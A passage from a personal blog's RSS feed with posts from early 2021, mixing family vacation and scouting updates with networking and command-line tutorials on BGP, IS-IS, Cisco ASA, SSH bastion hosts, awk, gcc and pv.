      <description>&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-03-24-13-50-35.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-03-24-13-50-35.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Day 2:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Woke up early&lt;/li&gt;&#xA;&lt;li&gt;Chartered a private boat to go kayaking and snorkeling&lt;/li&gt;&#xA;&lt;li&gt;Rented scooters to explore Key West&lt;/li&gt;&#xA;&lt;li&gt;Stood on southern most point of the United States&lt;/li&gt;&#xA;&lt;li&gt;Watched another sunset&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Day 1 of our Florida Vacation</title>
      <link>https://jasonmurray.org/posts/2021/flv-0317/</link>
      <pubDate>Wed, 17 Mar 2021 13:24:30 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/flv-0317/</guid>
      <description>&lt;p&gt;Jami and I hopped on an airplane destined for Fort Lauderdale, FL, where we met up with our long time friends Andrea and Vaughn:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-03-24-13-26-06.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-03-24-13-26-06.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Day 1:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Travel: Flying / Driving&lt;/li&gt;&#xA;&lt;li&gt;Robbie&amp;rsquo;s to feed the fish and take a break&lt;/li&gt;&#xA;&lt;li&gt;Keys Fisheries where we at at the raw bar and watch the sunset&lt;/li&gt;&#xA;&lt;li&gt;Grocery shop&lt;/li&gt;&#xA;&lt;li&gt;Arrive and unpack at the rental house&lt;/li&gt;&#xA;&lt;li&gt;Hang out for the evening&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>First vacation of 2021</title>
      <link>https://jasonmurray.org/posts/2021/anothervacation/</link>
      <pubDate>Tue, 16 Mar 2021 12:21:49 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/anothervacation/</guid>
      <description>&lt;p&gt;In 24 hours my wife and I will be sitting on a beach in the warm Florida sun. I know many of you rely on my blog to start your day, learn something new, or obtain the latest status on my family life. While I will make every effort to spend a few minutes posting a quick update, I offer no guarantee. Family time and my ability to unplug, come first.&lt;/p&gt;</description>
    </item>
    <item>
      <title>CLI to turn a directory of images into Markdown links</title>
      <link>https://jasonmurray.org/posts/2021/markdownclickableimages/</link>
      <pubDate>Mon, 15 Mar 2021 06:14:54 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/markdownclickableimages/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Convert a directory of images to clickable Markdown links:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;for i in `IMG_17*.jpg`; do echo $i | awk &amp;#39;{print &amp;#34;[![Image of philmont prep hike](/images/&amp;#34; $1&amp;#34; )](/images/&amp;#34; $1 &amp;#34;)&amp;#34;}&amp;#39;; done&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;for i in...&lt;/code&gt; -&amp;gt; Loop over each file, placing filename in the variable &lt;code&gt;i&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ls -1 IMG_17*.jpg&lt;/code&gt; -&amp;gt; List files matching the filename pattern. Then feed into the &lt;code&gt;for&lt;/code&gt; loop.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;echo $i&lt;/code&gt; -&amp;gt; Print the variable &lt;code&gt;i&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;awk (There are 2 key points, printing and variable expansion):&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;print&lt;/code&gt; -&amp;gt; Print everything after this statement to the screen. Text between &lt;code&gt;&amp;quot;&lt;/code&gt;&amp;rsquo;s is printed as written. &lt;code&gt;$&lt;/code&gt; (variables) are expanded and printed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$1&lt;/code&gt; -&amp;gt; Print the first match from &lt;code&gt;awk&lt;/code&gt;. In this case, print the filenames &lt;code&gt;|&lt;/code&gt;‘ed through &lt;code&gt;awk&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@phalanges:~/Downloads $ for i in `IMG_17*.jpg`; do echo $i | awk &amp;#39;{print &amp;#34;[![Image of philmont prep hike](/images/&amp;#34; $1&amp;#34; )](/images/&amp;#34; $1 &amp;#34;)&amp;#34;}&amp;#39;; done&#xA;[![Image of philmont prep hike](/images/IMG_1706.jpg )](/images/IMG_1706.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1707.jpg )](/images/IMG_1707.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1708.jpg )](/images/IMG_1708.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1711.jpg )](/images/IMG_1711.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1712.jpg )](/images/IMG_1712.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1713.jpg )](/images/IMG_1713.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1714.jpg )](/images/IMG_1714.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1715.jpg )](/images/IMG_1715.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1716.jpg )](/images/IMG_1716.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1717.jpg )](/images/IMG_1717.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1718.jpg )](/images/IMG_1718.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1720.jpg )](/images/IMG_1720.jpg)&#xA;[![Image of philmont prep hike](/images/IMG_1722.jpg )](/images/IMG_1722.jpg)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The commands above generated this page: &lt;a href=&#34;https://jasonmurray.org/posts/2021/firstlongphilmontprephike/&#34;&gt;https://jasonmurray.org/posts/2021/firstlongphilmontprephike/&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Philmont training hike #2: Lone Elk Park</title>
      <link>https://jasonmurray.org/posts/2021/firstlongphilmontprephike/</link>
      <pubDate>Sun, 14 Mar 2021 16:42:09 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2021/firstlongphilmontprephike/</guid>
      <description>&lt;p&gt;In the summer of 2022, my sons scouting troop is taking 3 crews to &lt;a href=&#34;https://www.philmontscoutranch.org/&#34;&gt;Philmont&lt;/a&gt; for a 12 day backpacking adventure. Today, we set out for our first long hike in preparation for the long miles that lay ahead. The goal was 10 miles. However, flooded trails cut us back to 7.5 miles.  To compensate, we spent the last mile walking up a pretty steep hill before calling it quits at the parking lot.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Creating an iOS shortcut to add RSS news feeds to Miniflux</title>
      <link>https://jasonmurray.org/posts/2021/minifluxshortcut/</link>
      <pubDate>Sat, 13 Mar 2021 15:28:57 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/minifluxshortcut/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://miniflux.app/&#34;&gt;Miniflux&lt;/a&gt; is a minimalist RSS feed reader.  It does not have an iOS application to facilitate adding new feeds through the share button. To compensate, I created an iOS shortcut which uses the Miniflux API to discover the RSS URL and add it to the feeds list.&lt;/p&gt;&#xA;&lt;h2 id=&#34;installation-instructions&#34;&gt;Installation Instructions&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create and copy an API key here: &lt;a href=&#34;https://reader.miniflux.app/keys&#34;&gt;https://reader.miniflux.app/keys&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Determine the category ID for all new feeds here: &lt;a href=&#34;https://reader.miniflux.app/v1/categories&#34;&gt;https://reader.miniflux.app/v1/categories&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save the API key and Category ID. The import process will ask for this information during installation.&lt;/li&gt;&#xA;&lt;li&gt;Download the shortcut here: &lt;a href=&#34;https://www.icloud.com/shortcuts/dddc998202db45b7931c254781df3beb&#34;&gt;https://www.icloud.com/shortcuts/dddc998202db45b7931c254781df3beb&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Select &lt;code&gt;Get Shortcut&lt;/code&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Newlines in markdown</title>
      <link>https://jasonmurray.org/posts/2021/markdownnewline/</link>
      <pubDate>Fri, 12 Mar 2021 18:48:42 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/markdownnewline/</guid>
      <description>&lt;p&gt;Markdown ignores newlines and concatenates short lines of text together.  For instance, take the following text in a Markdown file:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;The Markdown engine takes multiple lines,&#xA;which are not separated by a double space,&#xA;and concatinates them into a single line.&#xA;Placing a \ after each line, disables this&#xA;behavior so that each line is separated.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These 5 separate lines, when processed through the Markdown engine, will output a single line of text:&lt;/p&gt;</description>
    </item>
    <item>
      <title>March 11, 2021: One Year Anniversary of the COVID-19 Pandemic</title>
      <link>https://jasonmurray.org/posts/2021/1yearpandemic/</link>
      <pubDate>Thu, 11 Mar 2021 08:22:53 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/1yearpandemic/</guid>
      <description>&lt;p&gt;One year ago today, the World Health Organization declared COVID-19 a global pandemic. This set into motion a set of events the world has not experienced since the &lt;a href=&#34;https://www.cdc.gov/flu/pandemic-resources/1918-pandemic-h1n1.html&#34;&gt;H1N1 flu pandemic of 1918&lt;/a&gt;. Since the pandemic began, &lt;a href=&#34;https://coronavirus.jhu.edu/map.html&#34;&gt;118,000,000 people contracted COVID-19 and 2,620,000&lt;/a&gt; people have died globally. In my home country of the United States, &lt;a href=&#34;https://coronavirus.jhu.edu/us-map&#34;&gt;29,200,000 contracted the disease and 529,000&lt;/a&gt; have died.&lt;/p&gt;&#xA;&lt;p&gt;My sympathy goes out to all the people affected by this horrible scourge. Besides the disease itself, unemployment in the United States jumped from &lt;a href=&#34;https://www.bls.gov/charts/employment-situation/civilian-unemployment-rate.htm&#34;&gt;3.5% to 14.8%&lt;/a&gt; during the peak. If you have the means and it is safe to do so, please support local businesses.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Happy Birthday Elliot!</title>
      <link>https://jasonmurray.org/posts/2021/elliot15/</link>
      <pubDate>Wed, 10 Mar 2021 20:15:57 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/elliot15/</guid>
      <description>&lt;h1 id=&#34;this-kid-turned-15-today&#34;&gt;This kid turned 15 today!&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/IMG_1674.jpeg&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/IMG_1674.jpeg&#34; alt=&#34;family photos&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Turn c into assembly</title>
      <link>https://jasonmurray.org/posts/2021/assembly/</link>
      <pubDate>Tue, 09 Mar 2021 14:09:27 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/assembly/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Turn &lt;code&gt;c&lt;/code&gt; code into assembly language with &lt;code&gt;gcc&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Create a &lt;code&gt;hello.c&lt;/code&gt; file with the following contents or any other &lt;code&gt;c&lt;/code&gt; program to convert into &lt;code&gt;assembly&lt;/code&gt; language:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;void main () {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;printf(&amp;#34;Hello world!\n&amp;#34;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Generate the &lt;code&gt;assembly&lt;/code&gt; output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ gcc -S hello.c&#xA;jemurray@shell:~$ ls -al hell*&#xA;-rw-r--r-- 1 jemurray jemurray  64 Mar  9 19:59 hello.c&#xA;-rw-r--r-- 1 jemurray jemurray 438 Mar  9 19:59 hello.s&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Examine the &lt;code&gt;assembly&lt;/code&gt; code:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Create an online presentations with markdown and Remark</title>
      <link>https://jasonmurray.org/posts/2021/remark/</link>
      <pubDate>Mon, 08 Mar 2021 06:40:52 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/remark/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Create a slide show presentation written purely in markdown and displayed in a standard web browser using &lt;a href=&#34;https://github.com/gnab/remark&#34;&gt;Remark&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;By using my existing Hugo website framework, I can publish slides for public consumption:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-03-08-20-32-41.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-03-08-20-32-41.png&#34; alt=&#34;Image of markdown generated slide show&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Create a folder to store presentations.  For this example, I will use a directory under the Hugo framework to make the presentation publicly available:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@jasons-mbp:~/Documents/www-personal/current/jasonmurray.org $ mkdir static/presentationdev&#xA;jemurray@jasons-mbp:~/Documents/www-personal/current/jasonmurray.org $&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the newly created directory, add an &lt;code&gt;index.html&lt;/code&gt; file with the Remark scripts to load the slide show content:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Sleeping under a log shelter</title>
      <link>https://jasonmurray.org/posts/2021/sheltercamping/</link>
      <pubDate>Sun, 07 Mar 2021 14:08:27 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/sheltercamping/</guid>
      <description>&lt;h2 id=&#34;camping-overview&#34;&gt;Camping Overview&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/posts/2021/firstcampout/&#34;&gt;Yesterday&lt;/a&gt; my son and I went camping with the scouts for the first time in almost 1 year. The theme for our campout is building shelters to survive in potentially cold weather. Each scout is given twine and tarps to build any style shelter they believe will keep them comfortable throughout the evening. We expected the temperatures to be in the low to mid 30&amp;rsquo;s. It didn&amp;rsquo;t disappoint, by 4AM it was 32 degrees.&lt;/p&gt;</description>
    </item>
    <item>
      <title>First campout since covid</title>
      <link>https://jasonmurray.org/posts/2021/firstcampout/</link>
      <pubDate>Sat, 06 Mar 2021 06:08:53 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/firstcampout/</guid>
      <description>&lt;p&gt;Before the covid-19 plague, we used to camp with the Scouts at least once a month. Since that time, my son and I have not camped together with the troop. Today is the end of our camping drought. To be &amp;ldquo;covid-safe&amp;rdquo; each family must drive their son to the camping location. Once there, we will build individual &amp;ldquo;shelters&amp;rdquo;, as if it were a &amp;ldquo;survival&amp;rdquo; situation. This lends itself well to keeping everyone spread apart at a safe distance. The adults will prepare food, wrapped in foil, then cooked directly in the fire. I feel confident the fire will kill off any covid virus.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using iOS Shortcuts to select between audio destinations</title>
      <link>https://jasonmurray.org/posts/2021/audiooutputshortcut/</link>
      <pubDate>Fri, 05 Mar 2021 09:57:27 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/audiooutputshortcut/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;At the end of the day, I take off my bluetooth headset and put it on the charger in the upstairs office. I usually forget to power it off, therefor it stays connected to my phone. Typically not a problem unless I want to listen to an audio book or watch a video. Not all iOS apps have a button to quickly switch between audio destinations. In these instances, I have to open the &lt;code&gt;Settings -&amp;gt; Bluetooth -&amp;gt; Device -&amp;gt; Disconnect&lt;/code&gt; menu. It would be much easier if there was a button or widget to quickly switch between audio outputs.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using BGP peer-groups on Cisco routers</title>
      <link>https://jasonmurray.org/posts/2021/updategroup/</link>
      <pubDate>Thu, 04 Mar 2021 06:02:38 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/updategroup/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;BGP &lt;code&gt;peer-groups&lt;/code&gt; consolidate common configuration items to a single statement.  Eliminating the need to unnecessarily duplicate configuration on each neighbor. In the example topology below, there are 4 &lt;code&gt;ibgp&lt;/code&gt; neighbors per router, each replicating the same two lines.  By using &lt;code&gt;peer-groups&lt;/code&gt; we eliminate 4 lines from the &lt;code&gt;bgp&lt;/code&gt; configuration. In addition, if new lines or updates are required, a single change will update all neighbors.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;ibgp&lt;/code&gt; full mesh between all routers:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Overview and basic configuration for the Cisco ASA running in transparent mode.</title>
      <link>https://jasonmurray.org/posts/2021/basicasatransparent/</link>
      <pubDate>Wed, 03 Mar 2021 06:31:00 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/basicasatransparent/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Traditionally, a firewall is a routed hop and acts as a default gateway for hosts connected to the protected networks. A transparent firewall, on the other hand, is a Layer 2 firewall that acts like a “bump in the wire,” or a “stealth firewall,” and is not seen as a routed hop to connected devices. However, security policy, NAT, and most other security functions are the same as any other firewall.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using a bastion host with SSH</title>
      <link>https://jasonmurray.org/posts/2021/sshbastion/</link>
      <pubDate>Tue, 02 Mar 2021 10:19:52 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/sshbastion/</guid>
      <description>&lt;h2 id=&#34;key-points&#34;&gt;Key Points&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bastion hosts limit the attack surface of critical devices.&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;-J&lt;/code&gt; option with &lt;code&gt;ssh&lt;/code&gt; to automatically proxy connections through a bastion host: &lt;code&gt;ssh -A -J bastion-host-1.example.org host-3.example.org&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Multiple host can be specified in the &lt;code&gt;-J&lt;/code&gt; option: &lt;code&gt;ssh -A -J bastion-host-1.example.org,bastion-host-2.example.org host-3.example.org&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;An &lt;code&gt;ssh&lt;/code&gt; bastion host is a server that sits between the secure &lt;code&gt;inside&lt;/code&gt; network and the insecure &lt;code&gt;outside&lt;/code&gt; network.  Connections to a host on the inside must be proxied through the bastion host, direct access is not allowed.  Bastion hosts reduce the attack surface by only exposing a single host to the untrusted network. In addition, bastion hosts are hardened devices, closely monitored, regularly patched, and limit services to &lt;code&gt;ssh&lt;/code&gt; only.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Enabling external connectivity in Cisco Modeling Labs with bridged networks running on an ESXi hypervisor</title>
      <link>https://jasonmurray.org/posts/2021/bridgedcml/</link>
      <pubDate>Mon, 01 Mar 2021 13:33:12 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/bridgedcml/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Network lab environments are usually isolated from the production networks either by air-gap or a routed bastion host with legs into both sides. Some situations require lab devices to directly access external services. In the Cisco Modeling Lab environment, this is where an &lt;code&gt;external connector&lt;/code&gt; is used. The &lt;code&gt;external connector&lt;/code&gt; will &lt;code&gt;nat&lt;/code&gt;, &lt;code&gt;bridge&lt;/code&gt;, or &lt;code&gt;custom&lt;/code&gt; connect the lab network to the production network.&lt;/p&gt;&#xA;&lt;p&gt;In this post, we will discuss connecting the CML environment to the production network through a &lt;code&gt;bridged&lt;/code&gt; link.  A bridged network is the equivalent of plugging a CML &lt;code&gt;router&lt;/code&gt; directly into the same network as the CML management interface.  In this example, the home network router. A &lt;code&gt;csr1000v&lt;/code&gt; would have an IP address on the same network as my laptop, Google home, or TV.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Enable equal cost multi-path with iBGP</title>
      <link>https://jasonmurray.org/posts/2021/bgpecmp/</link>
      <pubDate>Sun, 28 Feb 2021 11:18:19 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/bgpecmp/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Two active network paths to the same destination is known as &lt;code&gt;equal cost multi-path&lt;/code&gt; (ECMP). With two paths in the routing table, a link failure will instantly shift all traffic to the active link. In addition, traffic is load balanced over each active link, effectively doubling the bandwidth to the destination.&lt;/p&gt;&#xA;&lt;p&gt;Internal routing protocols such as &lt;a href=&#34;https://jasonmurray.org/posts/2021/basicisis/&#34;&gt;is-is&lt;/a&gt;, ospf, and eigrp automatically load balance multiple paths:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://jasonmurray.org/images/2021-02-28-16-01-01.png&#34;&gt;&lt;img src=&#34;https://jasonmurray.org/images/2021-02-28-16-01-01.png&#34; alt=&#34;Image of &#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;BGP does not load balance multiple paths without additional configuration, only one route is installed in the routing table (FIB). Additional routes are waiting in the &lt;code&gt;bgp&lt;/code&gt; database (RIB), ready to be installed if the active path fails:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Basic BGP Cisco Lab Configuration</title>
      <link>https://jasonmurray.org/posts/2021/basicbgp/</link>
      <pubDate>Sat, 27 Feb 2021 10:22:26 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/basicbgp/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Building on the &lt;a href=&#34;https://jasonmurray.org/posts/2021/basicisis/&#34;&gt;is-is basic lab&lt;/a&gt;, the next component of network routing design involves connecting one organization to another.  Whereas, &lt;code&gt;is-is&lt;/code&gt; is used to exchange infrastructure routes internally, the BGP protocol is designed to communicate routes with external entities.&lt;/p&gt;&#xA;&lt;p&gt;This lab utilizes &lt;code&gt;is-is&lt;/code&gt; to exchange internal point-to-point and loopback interfaces routes, &lt;code&gt;ebgp&lt;/code&gt; to exchange external routes between organizations, and &lt;code&gt;ibgp&lt;/code&gt; to exchange the external routes learned from &lt;code&gt;ebgp&lt;/code&gt; to internal routers.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Basic IS-IS Level2 Only Cisco Lab Configuration</title>
      <link>https://jasonmurray.org/posts/2021/basicisis/</link>
      <pubDate>Fri, 26 Feb 2021 10:42:28 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/basicisis/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;A foundational component of any large networking environment is the infrastructure routes, or said another way, the network routes that allow each router to find and communicate with one another.  The most common routing protocols to distribute internal network routes are &lt;code&gt;ospf&lt;/code&gt;, &lt;code&gt;is-is&lt;/code&gt;, and &lt;code&gt;eigrp&lt;/code&gt;.  In this post I will use Cisco Modeling Lab to build a basic 4 router topology using &lt;code&gt;is-is&lt;/code&gt; as the infrastructure routing protocol.&lt;/p&gt;&#xA;&lt;h2 id=&#34;lab-topology-diagrams&#34;&gt;Lab Topology Diagrams&lt;/h2&gt;&#xA;&lt;p&gt;The Cisco Modeling Lab topology:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Create a network topology in Cisco Modeling Lab (CML)</title>
      <link>https://jasonmurray.org/posts/2021/cmllab/</link>
      <pubDate>Thu, 25 Feb 2021 06:21:25 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/cmllab/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.cisco.com/c/en/us/products/cloud-systems-management/modeling-labs/index.html&#34;&gt;Cisco Modeling Lab&lt;/a&gt; is a commercial network virtualization environment. All routers, switches, and security devices are licensed and included within the CML system.  Refer to &lt;a href=&#34;https://jasonmurray.org/posts/2021/cml/&#34;&gt;this post&lt;/a&gt; for more information and installation instructions.&lt;/p&gt;&#xA;&lt;p&gt;In this guide, we will journey through the steps required to create and link a basic network topology with no configuration.&lt;/p&gt;&#xA;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;Start with a blank canvas by clicking the &lt;code&gt;Dashboard&lt;/code&gt; button in the upper right corner of the screen:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Display progress of data moved through a unix pipe (|) with pv</title>
      <link>https://jasonmurray.org/posts/2021/pv/</link>
      <pubDate>Wed, 24 Feb 2021 15:24:46 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2021/pv/</guid>
      <description>&lt;p&gt;Examine the movement of data through a unix pipe (|) with the &lt;code&gt;pv&lt;/code&gt; command.  Results are displayed in time elapsed, total throughput, current Mb/s, etc.&lt;/p&gt;&#xA;&lt;p&gt;In this example, we will take several GB of compressed log file data and process it with &lt;code&gt;grep&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[jemurray@linux-host 2021-02-23]$ du -ach logfile.*&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.1G&#x9;logfile.00:00:00-01:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.9G&#x9;logfile.01:00:00-02:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.9G&#x9;logfile.02:00:00-03:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.9G&#x9;logfile.03:00:00-04:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.8G&#x9;logfile.04:00:00-05:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1.9G&#x9;logfile.05:00:00-06:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.1G&#x9;logfile.06:00:00-07:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2.7G&#x9;logfile.07:00:00-08:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.1G&#x9;logfile.08:00:00-09:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3.2G&#x9;logfile.09:00:00-10:00:00.log.gz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 